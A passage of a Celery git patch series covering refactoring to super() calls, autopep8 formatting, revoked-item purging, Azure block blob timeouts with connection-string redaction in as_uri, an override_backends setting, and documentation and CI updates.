-483,7 +483,7 @@ class DisplayThread(threading.Thread): # pragma: no cover def __init__(self, display): self.display = display self.shutdown = False - threading.Thread.__init__(self) + super().__init__() def run(self): while not self.shutdown: diff --git a/celery/result.py b/celery/result.py index 5ed08e3886c..2a78484502e 100644 --- a/celery/result.py +++ b/celery/result.py @@ -884,11 +884,11 @@ class GroupResult(ResultSet): def __init__(self, id=None, results=None, parent=None, **kwargs): self.id = id self.parent = parent - ResultSet.__init__(self, results, **kwargs) + super().__init__(results, **kwargs) def _on_ready(self): self.backend.remove_pending_result(self) - ResultSet._on_ready(self) + super()._on_ready() def save(self, backend=None): """Save group-result for later retrieval using :meth:`restore`. diff --git a/celery/security/certificate.py b/celery/security/certificate.py index 0f3fd8680f7..0c31bb79f31 100644 --- a/celery/security/certificate.py +++ b/celery/security/certificate.py @@ -85,7 +85,7 @@ class FSCertStore(CertStore): """File system certificate store.""" def __init__(self, path): - CertStore.__init__(self) + super().__init__() if os.path.isdir(path): path = os.path.join(path, '*') for p in glob.glob(path): diff --git a/celery/utils/log.py b/celery/utils/log.py index 48a2bc40897..6fca1226768 100644 --- a/celery/utils/log.py +++ b/celery/utils/log.py @@ -133,17 +133,17 @@ class ColorFormatter(logging.Formatter): } def __init__(self, fmt=None, use_color=True): - logging.Formatter.__init__(self, fmt) + super().__init__(fmt) self.use_color = use_color def formatException(self, ei): if ei and not isinstance(ei, tuple): ei = sys.exc_info() - r = logging.Formatter.formatException(self, ei) + r = super().formatException(ei) return r def format(self, record): - msg = logging.Formatter.format(self, record) + msg = super().format(record) color = self.colors.get(record.levelname) # reset exception info later for other handlers... @@ -168,7 +168,7 @@ def format(self, record): ), ) try: - return logging.Formatter.format(self, record) + return super().format(record) finally: record.msg, record.exc_info = prev_msg, einfo else: diff --git a/celery/utils/serialization.py b/celery/utils/serialization.py index dc3815e1f7b..673fdf50913 100644 --- a/celery/utils/serialization.py +++ b/celery/utils/serialization.py @@ -133,7 +133,7 @@ def __init__(self, exc_module, exc_cls_name, exc_args, text=None): self.exc_cls_name = exc_cls_name self.exc_args = safe_exc_args self.text = text - Exception.__init__(self, exc_module, exc_cls_name, safe_exc_args, + super().__init__(exc_module, exc_cls_name, safe_exc_args, text) def restore(self): diff --git a/celery/utils/time.py b/celery/utils/time.py index 55f7fce732c..c898b90e93a 100644 --- a/celery/utils/time.py +++ b/celery/utils/time.py @@ -66,7 +66,7 @@ def __init__(self): else: self.DSTOFFSET = self.STDOFFSET self.DSTDIFF = self.DSTOFFSET - self.STDOFFSET - tzinfo.__init__(self) + super().__init__() def __repr__(self): return f'' diff --git a/celery/utils/timer2.py b/celery/utils/timer2.py index 82337257e4b..88d8ffd77ad 100644 --- a/celery/utils/timer2.py +++ b/celery/utils/timer2.py @@ -48,7 +48,7 @@ def __init__(self, schedule=None, on_error=None, on_tick=None, max_interval=max_interval) self.on_start = on_start self.on_tick = on_tick or self.on_tick - threading.Thread.__init__(self) + super().__init__() # `_is_stopped` is likely to be an attribute on `Thread` objects so we # double underscore these names to avoid shadowing anything and # potentially getting confused by the superclass turning these into diff --git a/setup.py b/setup.py index f3a211a3356..fa3369b92be 100755 --- a/setup.py +++ b/setup.py @@ -139,7 +139,7 @@ class pytest(setuptools.command.test.test): user_options = [('pytest-args=', 'a', 'Arguments to pass to pytest')] def initialize_options(self): - setuptools.command.test.test.initialize_options(self) + super().initialize_options() self.pytest_args = [] def run_tests(self): diff --git a/t/unit/app/test_beat.py b/t/unit/app/test_beat.py index 2434f6effb2..641c7b7a0b2 100644 --- a/t/unit/app/test_beat.py +++ b/t/unit/app/test_beat.py @@ -127,7 +127,7 @@ class mScheduler(beat.Scheduler): def __init__(self, *args, **kwargs): self.sent = [] - beat.Scheduler.__init__(self, *args, **kwargs) + super().__init__(*args, **kwargs) def send_task(self, name=None, args=None, kwargs=None, **options): self.sent.append({'name': name, @@ -599,7 +599,7 @@ class MockPersistentScheduler(beat.PersistentScheduler): def __init__(self, *args, **kwargs): self.sent = [] - beat.PersistentScheduler.__init__(self, *args, **kwargs) + super().__init__(*args, **kwargs) def send_task(self, task=None, args=None, kwargs=None, **options): self.sent.append({'task': task, diff --git a/t/unit/app/test_builtins.py b/t/unit/app/test_builtins.py index b1d28690876..080999f7bc5 100644 --- a/t/unit/app/test_builtins.py +++ b/t/unit/app/test_builtins.py @@ -98,7 +98,7 @@ def setup(self): ) self.app.conf.task_always_eager = True self.task = builtins.add_group_task(self.app) - BuiltinsCase.setup(self) + super().setup() def test_apply_async_eager(self): self.task.apply = Mock(name='apply') @@ -133,7 +133,7 @@ def test_task__disable_add_to_parent(self, current_worker_task): class test_chain(BuiltinsCase): def setup(self): - BuiltinsCase.setup(self) + super().setup() self.task = builtins.add_chain_task(self.app) def test_not_implemented(self): @@ -145,7 +145,7 @@ class test_chord(BuiltinsCase): def setup(self): self.task = builtins.add_chord_task(self.app) - BuiltinsCase.setup(self) + super().setup() def test_apply_async(self): x = chord([self.add.s(i, i) for i in range(10)], body=self.xsum.s()) diff --git a/t/unit/app/test_log.py b/t/unit/app/test_log.py index cbe191f41d6..37ebe251f66 100644 --- a/t/unit/app/test_log.py +++ b/t/unit/app/test_log.py @@ -338,7 +338,7 @@ class MockLogger(logging.Logger): def __init__(self, *args, **kwargs): self._records = [] - logging.Logger.__init__(self, *args, **kwargs) + super().__init__(*args, **kwargs) def handle(self, record): self._records.append(record) diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 9023dc14e57..3436053871d 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -342,7 +342,7 @@ def delete(self, key): class DictBackend(BaseBackend): def __init__(self, *args, **kwargs): - BaseBackend.__init__(self, *args, **kwargs) + super().__init__(*args, **kwargs) self._data = {'can-delete': {'result': 'foo'}} def _restore_group(self, group_id): diff --git a/t/unit/utils/test_pickle.py b/t/unit/utils/test_pickle.py index 936300a3945..a915e9446f6 100644 --- a/t/unit/utils/test_pickle.py +++ b/t/unit/utils/test_pickle.py @@ -9,7 +9,7 @@ class ArgOverrideException(Exception): def __init__(self, message, status_code=10): self.status_code = status_code - Exception.__init__(self, message, status_code) + super().__init__(message, status_code) class test_Pickle: diff --git a/t/unit/utils/test_saferepr.py b/t/unit/utils/test_saferepr.py index e21fe25dbf7..68976f291ac 100644 --- a/t/unit/utils/test_saferepr.py +++ b/t/unit/utils/test_saferepr.py @@ -74,7 +74,7 @@ class list2(list): class list3(list): def __repr__(self): - return list.__repr__(self) + return super().__repr__() class tuple2(tuple): @@ -84,7 +84,7 @@ class tuple2(tuple): class tuple3(tuple): def __repr__(self): - return tuple.__repr__(self) + return super().__repr__() class set2(set): @@ -94,7 +94,7 @@ class set2(set): class set3(set): def __repr__(self): - return set.__repr__(self) + return super().__repr__() class frozenset2(frozenset): @@ -104,7 +104,7 @@ class frozenset2(frozenset): class frozenset3(frozenset): def __repr__(self): - return frozenset.__repr__(self) + return super().__repr__() class dict2(dict): @@ -114,7 +114,7 @@ class dict2(dict): class dict3(dict): def __repr__(self): - return dict.__repr__(self) + return super().__repr__() class test_saferepr: diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 8e6e92d63ee..eb173a1c987 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -1142,7 +1142,7 @@ def setup(self): self.task = Mock(name='task') self.pool = Mock(name='pool') self.eventer = Mock(name='eventer') - RequestCase.setup(self) + super().setup() def create_request_cls(self, **kwargs): return create_request_cls( diff --git a/t/unit/worker/test_strategy.py b/t/unit/worker/test_strategy.py index 2e81fa0b7f9..8d7098954af 100644 --- a/t/unit/worker/test_strategy.py +++ b/t/unit/worker/test_strategy.py @@ -278,7 +278,7 @@ def test_custom_request_gets_instantiated(self): class MyRequest(Request): def __init__(self, *args, **kwargs): - Request.__init__(self, *args, **kwargs) + super().__init__(*args, **kwargs) _MyRequest() class MyTask(Task): From 71ed45d502a0dca67dce98a716e7c640d67e96ff Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 29 Sep 2021 13:01:23 +0300 Subject: [PATCH 353/415] autopep8. --- celery/canvas.py | 20 ++++++++++---------- celery/contrib/rdb.py | 2 +- celery/utils/serialization.py | 2 +- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 18eece20ef8..8e9ac136f08 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -601,7 +601,7 @@ def __init__(self, *tasks, **options): tasks = (regen(tasks[0]) if len(tasks) == 1 and is_list(tasks[0]) else tasks) super().__init__('celery.chain', (), {'tasks': tasks}, **options - ) + ) self._use_link = options.pop('use_link', None) self.subtask_type = 'chain' self._frozen = None @@ -903,8 +903,8 @@ def from_dict(cls, d, app=None): def __init__(self, task, it, **options): super().__init__(self._task_name, (), - {'task': task, 'it': regen(it)}, immutable=True, **options - ) + {'task': task, 'it': regen(it)}, immutable=True, **options + ) def apply_async(self, args=None, kwargs=None, **opts): # need to evaluate generators @@ -956,9 +956,9 @@ def from_dict(cls, d, app=None): def __init__(self, task, it, n, **options): super().__init__('celery.chunks', (), - {'task': task, 'it': regen(it), 'n': n}, - immutable=True, **options - ) + {'task': task, 'it': regen(it), 'n': n}, + immutable=True, **options + ) def __call__(self, **options): return self.apply_async(**options) @@ -1054,7 +1054,7 @@ def __init__(self, *tasks, **options): if not isinstance(tasks, _regen): tasks = regen(tasks) super().__init__('celery.group', (), {'tasks': tasks}, **options - ) + ) self.subtask_type = 'group' def __call__(self, *partial_args, **options): @@ -1350,9 +1350,9 @@ def __init__(self, header, body=None, task='celery.chord', args = args if args else () kwargs = kwargs if kwargs else {'kwargs': {}} super().__init__(task, args, - {**kwargs, 'header': _maybe_group(header, app), - 'body': maybe_signature(body, app=app)}, app=app, **options - ) + {**kwargs, 'header': _maybe_group(header, app), + 'body': maybe_signature(body, app=app)}, app=app, **options + ) self.subtask_type = 'chord' def __call__(self, body=None, **options): diff --git a/celery/contrib/rdb.py b/celery/contrib/rdb.py index 995bec16d19..a34c0b52678 100644 --- a/celery/contrib/rdb.py +++ b/celery/contrib/rdb.py @@ -111,7 +111,7 @@ def __init__(self, host=CELERY_RDB_HOST, port=CELERY_RDB_PORT, self.say(SESSION_STARTED.format(self=self)) self._handle = sys.stdin = sys.stdout = self._client.makefile('rw') super().__init__(completekey='tab', - stdin=self._handle, stdout=self._handle) + stdin=self._handle, stdout=self._handle) def get_avail_port(self, host, port, search_limit=100, skew=+0): try: diff --git a/celery/utils/serialization.py b/celery/utils/serialization.py index 673fdf50913..c03a20f9419 100644 --- a/celery/utils/serialization.py +++ b/celery/utils/serialization.py @@ -134,7 +134,7 @@ def __init__(self, exc_module, exc_cls_name, exc_args, text=None): self.exc_args = safe_exc_args self.text = text super().__init__(exc_module, exc_cls_name, safe_exc_args, - text) + text) def restore(self): return create_exception_cls(self.exc_cls_name, From b0ecc35bacd64416093b82cea4a9f150595e5b04 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Nem=C4=8Dek?= Date: Fri, 1 Oct 2021 12:32:24 +0200 Subject: [PATCH 354/415] Prevent worker to send expired revoked items upon hello command (#6975) * Prevent worker to send expired revoked items upon hello command. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- celery/worker/control.py | 2 ++ t/unit/worker/test_control.py | 19 ++++++++++++++++++- 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/celery/worker/control.py b/celery/worker/control.py index 2518948f1b1..197d0c4d617 100644 --- a/celery/worker/control.py +++ b/celery/worker/control.py @@ -310,6 +310,8 @@ def hello(state, from_node, revoked=None, **kwargs): logger.info('sync with %s', from_node) if revoked: worker_state.revoked.update(revoked) + # Do not send expired items to the other worker. + worker_state.revoked.purge() return { 'revoked': worker_state.revoked._data, 'clock': state.app.clock.forward(), diff --git a/t/unit/worker/test_control.py b/t/unit/worker/test_control.py index 8e1e02d64df..0d53d65e3bc 100644 --- a/t/unit/worker/test_control.py +++ b/t/unit/worker/test_control.py @@ -1,5 +1,6 @@ import socket import sys +import time from collections import defaultdict from datetime import datetime, timedelta from queue import Queue as FastQueue @@ -16,7 +17,7 @@ from celery.worker import state as worker_state from celery.worker.pidbox import Pidbox, gPidbox from celery.worker.request import Request -from celery.worker.state import revoked +from celery.worker.state import REVOKE_EXPIRES, revoked hostname = socket.gethostname() @@ -192,6 +193,22 @@ def test_hello(self): finally: worker_state.revoked.discard('revoked1') + def test_hello_does_not_send_expired_revoked_items(self): + consumer = Consumer(self.app) + panel = self.create_panel(consumer=consumer) + panel.state.app.clock.value = 313 + panel.state.hostname = 'elaine@vandelay.com' + # Add an expired revoked item to the revoked set. + worker_state.revoked.add( + 'expired_in_past', + now=time.monotonic() - REVOKE_EXPIRES - 1 + ) + x = panel.handle('hello', { + 'from_node': 'george@vandelay.com', + 'revoked': {'1234', '4567', '891'} + }) + assert 'expired_in_past' not in x['revoked'] + def test_conf(self): consumer = Consumer(self.app) panel = self.create_panel(consumer=consumer) From cba7d62475ae980c19dbd83ef52529d804e3c9bf Mon Sep 17 00:00:00 2001 From: Pedram Ashofteh Ardakani Date: Sun, 3 Oct 2021 12:52:25 +0330 Subject: [PATCH 355/415] docs: clarify the 'keeping results' section (#6979) * docs: clarify the 'keeping results' section It might seem obvious for experienced users, but new users could get confused with where to add the 'backend' argument. Should it be passed as an argument when invoking celery? In a seperate configuration file? This leads to opening up many tabs and looking for a clue which in turn, might frustrate a newbie. So, the manual could simply save a lot of headache with explicitly stating: you could modify this line in the very first 'tasks.py' file you are trying to work with! This commit fixes that. * docs: keeping results section, reload updated 'app' A simple '>>> from tasks import app' might not consider the updates we made in a running session for different versions of python (if it works at all). So, the new users should be reminded to close and reopen the session to avoid confusion. * Update docs/getting-started/first-steps-with-celery.rst Co-authored-by: Omer Katz Co-authored-by: Omer Katz --- docs/getting-started/first-steps-with-celery.rst | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/docs/getting-started/first-steps-with-celery.rst b/docs/getting-started/first-steps-with-celery.rst index 799db7200d7..a87af8f7201 100644 --- a/docs/getting-started/first-steps-with-celery.rst +++ b/docs/getting-started/first-steps-with-celery.rst @@ -229,7 +229,8 @@ and -- or you can define your own. For this example we use the `rpc` result backend, that sends states back as transient messages. The backend is specified via the ``backend`` argument to :class:`@Celery`, (or via the :setting:`result_backend` setting if -you choose to use a configuration module): +you choose to use a configuration module). So, you can modify this line in the `tasks.py` +file to enable the `rpc://` backend: .. code-block:: python @@ -244,12 +245,13 @@ the message broker (a popular combination): To read more about result backends please see :ref:`task-result-backends`. -Now with the result backend configured, let's call the task again. -This time you'll hold on to the :class:`~@AsyncResult` instance returned -when you call a task: +Now with the result backend configured, close the current python session and import the +``tasks`` module again to put the changes into effect. This time you'll hold on to the +:class:`~@AsyncResult` instance returned when you call a task: .. code-block:: pycon + >>> from tasks import add # close and reopen to get updated 'app' >>> result = add.delay(4, 4) The :meth:`~@AsyncResult.ready` method returns whether the task From ffb0d3d54884aaae140a20879a58449b27946f49 Mon Sep 17 00:00:00 2001 From: Jens Timmerman Date: Mon, 4 Oct 2021 17:12:20 +0200 Subject: [PATCH 356/415] Update deprecated task module removal in 5.0 documentation (#6981) * Update whatsnew-5.0.rst * update 5.0 deprecation documentation to reflect reality * Update whatsnew-5.1.rst * Update whatsnew-5.0.rst * Update whatsnew-5.1.rst --- docs/history/whatsnew-5.0.rst | 6 ++++++ docs/internals/deprecation.rst | 13 ++++++++++++- docs/whatsnew-5.1.rst | 7 +++++++ 3 files changed, 25 insertions(+), 1 deletion(-) diff --git a/docs/history/whatsnew-5.0.rst b/docs/history/whatsnew-5.0.rst index d2e2df90e62..bb27b59cf32 100644 --- a/docs/history/whatsnew-5.0.rst +++ b/docs/history/whatsnew-5.0.rst @@ -262,6 +262,12 @@ you should import `kombu.utils.encoding` instead. If you were using the `celery.task` module before, you should import directly from the `celery` module instead. +If you were using `from celery.task import Task` you should use +`from celery import Task` instead. + +If you were using the `celery.task` decorator you should use +`celery.shared_task` instead. + .. _new_command_line_interface: New Command Line Interface diff --git a/docs/internals/deprecation.rst b/docs/internals/deprecation.rst index 222dd6644d9..23d03ad36f7 100644 --- a/docs/internals/deprecation.rst +++ b/docs/internals/deprecation.rst @@ -34,7 +34,7 @@ Compat Task Modules from celery import task -- Module ``celery.task`` *may* be removed (not decided) +- Module ``celery.task`` will be removed This means you should change: @@ -44,10 +44,21 @@ Compat Task Modules into: + .. code-block:: python + + from celery import shared_task + + -- and: .. code-block:: python from celery import task + into: + + .. code-block:: python + + from celery import shared_task + -- and: .. code-block:: python diff --git a/docs/whatsnew-5.1.rst b/docs/whatsnew-5.1.rst index bdd35f0773c..a1c7416cdda 100644 --- a/docs/whatsnew-5.1.rst +++ b/docs/whatsnew-5.1.rst @@ -290,6 +290,13 @@ you should import `kombu.utils.encoding` instead. If you were using the `celery.task` module before, you should import directly from the `celery` module instead. +If you were using `from celery.task import Task` you should use +`from celery import Task` instead. + +If you were using the `celery.task` decorator you should use +`celery.shared_task` instead. + + `azure-servicebus` 7.0.0 is now required ---------------------------------------- From 9b713692e18bc257a2433a4a2d594bc928dcaa91 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 4 Oct 2021 16:35:59 +0000 Subject: [PATCH 357/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.28.0 → v2.29.0](https://github.com/asottile/pyupgrade/compare/v2.28.0...v2.29.0) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 83eaf953100..449a5a88c7b 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.28.0 + rev: v2.29.0 hooks: - id: pyupgrade args: ["--py37-plus"] From d5380fa02d1ef038b99105dacd9a281f19d74575 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 5 Oct 2021 13:54:43 +0600 Subject: [PATCH 358/415] try python 3.10 GA --- .github/workflows/python-package.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 4136c4eff62..b4076bf6429 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,7 +24,7 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.7', '3.8', '3.9', '3.10.0-rc.2', 'pypy-3.7'] + python-version: ['3.7', '3.8', '3.9', '3.10', 'pypy-3.7'] os: ["ubuntu-20.04", "windows-2019"] steps: From ef545e3d222fd5ac955077aa44801f9b68002e37 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 5 Oct 2021 14:37:06 +0600 Subject: [PATCH 359/415] mention python 3.10 on readme --- README.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.rst b/README.rst index a2ae072e6fd..9f9ccaaf47c 100644 --- a/README.rst +++ b/README.rst @@ -59,7 +59,7 @@ What do I need? Celery version 5.2.0rc1 runs on, -- Python (3.7, 3.8, 3.9) +- Python (3.7, 3.8, 3.9, 3.10) - PyPy3.7 (7.3+) From d3773221fcf38de29b3cbc17abe2deafb90895f0 Mon Sep 17 00:00:00 2001 From: Marat Idrisov Date: Mon, 4 Oct 2021 22:40:52 +0300 Subject: [PATCH 360/415] Documenting the default consumer_timeout value for rabbitmq >= 3.8.15 Related to issue #6760 --- docs/userguide/calling.rst | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/docs/userguide/calling.rst b/docs/userguide/calling.rst index efeb1bb6c13..8bfe52feef4 100644 --- a/docs/userguide/calling.rst +++ b/docs/userguide/calling.rst @@ -252,6 +252,31 @@ and timezone information): >>> tomorrow = datetime.utcnow() + timedelta(days=1) >>> add.apply_async((2, 2), eta=tomorrow) +.. warning:: + + When using RabbitMQ as a message broker when specifying a ``countdown`` + over 15 minutes, you may encounter the problem that the worker terminates + with an :exc:`~amqp.exceptions.PreconditionFailed` error will be raised: + + .. code-block:: pycon + + amqp.exceptions.PreconditionFailed: (0, 0): (406) PRECONDITION_FAILED - consumer ack timed out on channel + + In RabbitMQ since version 3.8.15 the default value for + ``consumer_timeout`` is 15 minutes. + Since version 3.8.17 it was increased to 30 minutes. If a consumer does + not ack its delivery for more than the timeout value, its channel will be + closed with a ``PRECONDITION_FAILED`` channel exception. + See `Delivery Acknowledgement Timeout`_ for more information. + + To solve the problem, in RabbitMQ configuration file ``rabbitmq.conf`` you + should specify the ``consumer_timeout`` parameter greater than or equal to + your countdown value. For example, you can specify a very large value + of ``consumer_timeout = 31622400000``, which is equal to 1 year + in milliseconds, to avoid problems in the future. + +.. _`Delivery Acknowledgement Timeout`: https://www.rabbitmq.com/consumers.html#acknowledgement-timeout + .. _calling-expiration: Expiration From 49452916f94d5ec60af246cea600855e6d976b48 Mon Sep 17 00:00:00 2001 From: Tomasz Kluczkowski Date: Wed, 6 Oct 2021 10:35:56 +0100 Subject: [PATCH 361/415] Azure blockblob backend parametrized connection/read timeouts (#6978) * Initial hardcoded (sorry) change to the celery azure block blob backend. This is required to check if this change has any influence. If it does I will make it proper config option in celery itself. * Add sensible defaults for azure block blob backend. The problem we hit in production is on certain network errors (suspect partitioning) the client becomes stuck on the default read timeout for an ssl socket which in azure is defined in `/azure/storage/blob/_shared/constants.py` as READ_TIMEOUT = 80000 (seconds) for python versions > 3.5. This means that for those python versions the operation is stuck for 55.555[...] days until it times out which is obviously not ideal :). This sets the timeouts at 20s for connection (which is the current default) and 120s for all python versions, which with modern connections is sufficient. If we think it should be higher - I can increase it but we definitely should give the user an option to set their own timeouts based on file sizes and bandwidths they are operating on. * Update docs a bit. * Update docs/userguide/configuration.rst Co-authored-by: Omer Katz * Add test confirming azure blob client is configured correctly based on values supplied from configuration dictionary. Co-authored-by: tomaszkluczkowski Co-authored-by: Asif Saif Uddin Co-authored-by: Omer Katz --- celery/app/defaults.py | 2 ++ celery/backends/azureblockblob.py | 10 ++++++- docs/userguide/configuration.rst | 18 +++++++++++++ t/unit/backends/test_azureblockblob.py | 36 ++++++++++++++++++++++++++ 4 files changed, 65 insertions(+), 1 deletion(-) diff --git a/celery/app/defaults.py b/celery/app/defaults.py index 70f4fb8b0ac..596c750f2b5 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -133,6 +133,8 @@ def __repr__(self): retry_increment_base=Option(2, type='int'), retry_max_attempts=Option(3, type='int'), base_path=Option('', type='string'), + connection_timeout=Option(20, type='int'), + read_timeout=Option(120, type='int'), ), control=Namespace( queue_ttl=Option(300.0, type='float'), diff --git a/celery/backends/azureblockblob.py b/celery/backends/azureblockblob.py index 972baaf73e9..4b263a5cbff 100644 --- a/celery/backends/azureblockblob.py +++ b/celery/backends/azureblockblob.py @@ -44,6 +44,10 @@ def __init__(self, conf["azureblockblob_container_name"]) self.base_path = conf.get('azureblockblob_base_path', '') + self._connection_timeout = conf.get( + 'azureblockblob_connection_timeout', 20 + ) + self._read_timeout = conf.get('azureblockblob_read_timeout', 120) @classmethod def _parse_url(cls, url, prefix="azureblockblob://"): @@ -61,7 +65,11 @@ def _blob_service_client(self): the container is created if it doesn't yet exist. """ - client = BlobServiceClient.from_connection_string(self._connection_string) + client = BlobServiceClient.from_connection_string( + self._connection_string, + connection_timeout=self._connection_timeout, + read_timeout=self._read_timeout + ) try: client.create_container(name=self._container_name) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index f78388fd7b7..d2291c3535a 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -1599,6 +1599,24 @@ Default: 3. The maximum number of retry attempts. +.. setting:: azureblockblob_connection_timeout + +``azureblockblob_connection_timeout`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Default: 20. + +Timeout in seconds for establishing the azure block blob connection. + +.. setting:: azureblockblob_read_timeout + +``azureblockblob_read_timeout`` +~~~~~~~~~~~~~~~~~~~~ + +Default: 120. + +Timeout in seconds for reading of an azure block blob. + .. _conf-elasticsearch-result-backend: Elasticsearch backend settings diff --git a/t/unit/backends/test_azureblockblob.py b/t/unit/backends/test_azureblockblob.py index 7c80400cc1e..ec6dac9973d 100644 --- a/t/unit/backends/test_azureblockblob.py +++ b/t/unit/backends/test_azureblockblob.py @@ -61,6 +61,42 @@ def test_create_client(self, mock_blob_service_factory): assert backend._blob_service_client is not None assert mock_blob_service_client_instance.create_container.call_count == 1 + @patch(MODULE_TO_MOCK + ".BlobServiceClient") + def test_configure_client(self, mock_blob_service_factory): + + connection_timeout = 3 + read_timeout = 11 + self.app.conf.update( + { + 'azureblockblob_connection_timeout': connection_timeout, + 'azureblockblob_read_timeout': read_timeout, + } + ) + + mock_blob_service_client_instance = Mock() + mock_blob_service_factory.from_connection_string.return_value = ( + mock_blob_service_client_instance + ) + + base_url = "azureblockblob://" + connection_string = "connection_string" + backend = AzureBlockBlobBackend( + app=self.app, url=f'{base_url}{connection_string}' + ) + + client = backend._blob_service_client + assert client is mock_blob_service_client_instance + + ( + mock_blob_service_factory + .from_connection_string + .assert_called_once_with( + connection_string, + connection_timeout=connection_timeout, + read_timeout=read_timeout + ) + ) + @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") def test_get(self, mock_client, base_path): self.backend.base_path = base_path From fc689bde77415a04740501a9ff097a15e0529f17 Mon Sep 17 00:00:00 2001 From: Tomasz-Kluczkowski Date: Sat, 9 Oct 2021 15:44:34 +0100 Subject: [PATCH 362/415] Add as_uri method to azure block blob backend. It is strange that the azure block blob backend shows no URI during celery boot. This should fix it. --- celery/backends/azureblockblob.py | 23 +++++++++++++++++++++- t/unit/backends/test_azureblockblob.py | 27 ++++++++++++++++++++++++++ 2 files changed, 49 insertions(+), 1 deletion(-) diff --git a/celery/backends/azureblockblob.py b/celery/backends/azureblockblob.py index 4b263a5cbff..e7d2c231808 100644 --- a/celery/backends/azureblockblob.py +++ b/celery/backends/azureblockblob.py @@ -18,6 +18,7 @@ __all__ = ("AzureBlockBlobBackend",) LOGGER = get_logger(__name__) +AZURE_BLOCK_BLOB_CONNECTION_PREFIX = 'azureblockblob://' class AzureBlockBlobBackend(KeyValueStoreBackend): @@ -50,7 +51,7 @@ def __init__(self, self._read_timeout = conf.get('azureblockblob_read_timeout', 120) @classmethod - def _parse_url(cls, url, prefix="azureblockblob://"): + def _parse_url(cls, url, prefix=AZURE_BLOCK_BLOB_CONNECTION_PREFIX): connection_string = url[len(prefix):] if not connection_string: raise ImproperlyConfigured("Invalid URL") @@ -143,3 +144,23 @@ def delete(self, key): ) blob_client.delete_blob() + + def as_uri(self, include_password=False): + if include_password: + return ( + f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' + f'{self._connection_string}' + ) + + connection_string_parts = self._connection_string.split(';') + account_key_prefix = 'AccountKey=' + redacted_connection_string_parts = [ + f'{account_key_prefix}**' if part.startswith(account_key_prefix) + else part + for part in connection_string_parts + ] + + return ( + f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' + f'{";".join(redacted_connection_string_parts)}' + ) diff --git a/t/unit/backends/test_azureblockblob.py b/t/unit/backends/test_azureblockblob.py index ec6dac9973d..5329140627f 100644 --- a/t/unit/backends/test_azureblockblob.py +++ b/t/unit/backends/test_azureblockblob.py @@ -165,3 +165,30 @@ def test_base_path_conf_default(self): url=self.url ) assert backend.base_path == '' + + +class test_as_uri: + def setup(self): + self.url = ( + "azureblockblob://" + "DefaultEndpointsProtocol=protocol;" + "AccountName=name;" + "AccountKey=account_key;" + "EndpointSuffix=suffix" + ) + self.backend = AzureBlockBlobBackend( + app=self.app, + url=self.url + ) + + def test_as_uri_include_password(self): + assert self.backend.as_uri(include_password=True) == self.url + + def test_as_uri_exclude_password(self): + assert self.backend.as_uri(include_password=False) == ( + "azureblockblob://" + "DefaultEndpointsProtocol=protocol;" + "AccountName=name;" + "AccountKey=**;" + "EndpointSuffix=suffix" + ) From a22dbaeafd2eb195983588cf22ee1a98721a2c28 Mon Sep 17 00:00:00 2001 From: MelnykR Date: Sun, 10 Oct 2021 12:20:47 +0300 Subject: [PATCH 363/415] Add possibility to override backend implementation with celeryconfig (#6879) * Parse override_backend field in Loader config * cover override_backends feature with tests * add docs --- celery/loaders/base.py | 2 ++ docs/userguide/configuration.rst | 22 ++++++++++++++++++++++ t/unit/app/test_loaders.py | 5 ++++- 3 files changed, 28 insertions(+), 1 deletion(-) diff --git a/celery/loaders/base.py b/celery/loaders/base.py index ad45bad19e3..8cc15de8f8a 100644 --- a/celery/loaders/base.py +++ b/celery/loaders/base.py @@ -126,6 +126,8 @@ def config_from_object(self, obj, silent=False): return False raise self._conf = force_mapping(obj) + if self._conf.get('override_backends') is not None: + self.override_backends = self._conf['override_backends'] return True def _smart_import(self, path, imp=None): diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index d2291c3535a..0d7d7554d0a 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -855,6 +855,28 @@ Default interval for retrying chord tasks. .. _conf-database-result-backend: + +.. setting:: override_backends + +``override_backends`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Default: Disabled by default. + +Path to class that implements backend. + +Allows to override backend implementation. +This can be 